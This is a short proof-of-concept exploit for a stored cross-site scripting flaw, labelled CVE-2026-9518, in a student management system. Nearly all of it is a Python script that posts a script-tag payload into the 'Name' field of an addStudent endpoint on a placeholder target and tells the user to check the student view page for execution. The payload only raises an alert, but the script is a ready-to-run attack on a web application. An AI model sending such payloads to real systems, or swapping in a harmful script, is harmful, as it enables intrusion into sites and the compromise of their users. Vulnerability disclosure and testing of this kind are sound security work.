CVE-2026-9518 学生管理系统XSS漏洞

import requests # Target URL (Replace with actual host) target_url = "http://target.com/index.php/students/addStudent" # Malicious payload to test XSS # Basic script tag to verify execution payload = "<script>alert('CVE-2026-9518_PoC');</script>" # Data to be sent in the request mimicking the vulnerable parameter 'Name' data = { "Name": payload, "Class": "TestClass", "RollNo": "123" } try: # Send POST request to inject the payload response = requests.post(target_url, data=data) if response.status_code == 200: print("Payload sent successfully.") print("Check the student view page to verify XSS execution.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")